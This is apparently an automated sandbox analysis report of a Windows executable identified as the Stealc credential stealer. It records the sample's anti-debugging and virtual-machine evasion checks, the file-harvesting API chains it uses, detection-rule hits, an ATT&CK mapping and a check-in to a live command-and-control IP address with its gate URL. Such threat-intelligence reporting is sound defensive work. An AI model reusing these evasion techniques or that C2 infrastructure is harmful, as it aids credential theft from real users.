Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F02F second address: B5F041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C7Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F041 second address: B5F052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79ACh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EBB7 second address: B5EBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60BEB second address: B60BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8489E second address: A848A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8D1AF4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A9ED3C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFC7ED instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00684910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00684910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0067DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0067E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00684570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00684570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0067ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0067BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0067DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00683EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00683EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0067F6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00671160 GetSystemInfo,ExitProcess,

0_2_00671160

Source: file.exe, file.exe, 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1367632682.0000000001314000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1367632682.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1367632682.0000000001314000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI
Source: file.exe, 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13573
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13570
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13592
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13584
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13624

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006745C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006745C0

Source: C:\Users\user\Desktop\file.exe

0_2_00689860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00689750 mov eax, dword ptr fs:[00000030h]

0_2_00689750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00687850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00687850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7500, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00689600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00689600

Source: file.exe, file.exe, 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: cProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00687B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00686920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00686920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00687850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00687850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00687A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00687A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1325704313.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1325704313.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php(#	file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37w	file.exe, 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpS	file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpG	file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1533401
Start date and time:	2024-10-14 17:17:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947602937319869
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'847'296 bytes
MD5:	bf6de6e8d3ac5123b66ba93633affe66
SHA1:	f5f047a51c8ffe5700542d6ea9517214d4f31725
SHA256:	eb01ca908e0cad8310d771a3722cad18d9694c718c37ac5f363e476e1c1212de
SHA512:	5f81468fb04d9345655f76ab1983b9f53ccb3321418902eb652bc899aeb9afb95687447fc78d3a8d44f49eb7503c7df7d9d7e04c384a4164e64f49fed4b3041e
SSDEEP:	49152:5EQVzI8pSb+ZmlSNePyEYpjzTi0yxTZ1:RBpBZneKTjv
TLSH:	E1853353BB56306DD6FDE1B30CC076ACDC38026667926B6F3C610554B82F609EB8E6D8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0B44C9665Ah
femms
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0B44C98655h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	8475d625e3f7c5b43151555c5826c501	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29c000	0x200	28fdc08b1eb4d51e1e52a2b43a10c155	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jmwhdghu	0x4fa000	0x19d000	0x19ce00	ba098c1c8c6d9c55ec9a6563feb9566c	False	0.9950985609673024	data	7.9544342173463365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xkdnzbup	0x697000	0x1000	0x400	cd261ec749ad0438a328e048d81f69a8	False	0.7744140625	data	6.070382761997643	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	49ae221218d0f9b38a31d0a6680d7b8a	False	0.06066176470588235	DOS executable (COM)	0.8011941068887273	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T17:18:15.099274+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49708	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 17:18:14.141050100 CEST	49708	80	192.168.2.7	185.215.113.37
Oct 14, 2024 17:18:14.145940065 CEST	80	49708	185.215.113.37	192.168.2.7
Oct 14, 2024 17:18:14.146003962 CEST	49708	80	192.168.2.7	185.215.113.37
Oct 14, 2024 17:18:14.146800995 CEST	49708	80	192.168.2.7	185.215.113.37
Oct 14, 2024 17:18:14.151736975 CEST	80	49708	185.215.113.37	192.168.2.7
Oct 14, 2024 17:18:14.864720106 CEST	80	49708	185.215.113.37	192.168.2.7
Oct 14, 2024 17:18:14.864778042 CEST	49708	80	192.168.2.7	185.215.113.37
Oct 14, 2024 17:18:14.867588997 CEST	49708	80	192.168.2.7	185.215.113.37
Oct 14, 2024 17:18:14.872766018 CEST	80	49708	185.215.113.37	192.168.2.7
Oct 14, 2024 17:18:15.099164009 CEST	80	49708	185.215.113.37	192.168.2.7
Oct 14, 2024 17:18:15.099273920 CEST	49708	80	192.168.2.7	185.215.113.37
Oct 14, 2024 17:18:18.925829887 CEST	49708	80	192.168.2.7	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49708	185.215.113.37	80	7500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:18:14.146800995 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 14, 2024 17:18:14.864720106 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 15:18:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
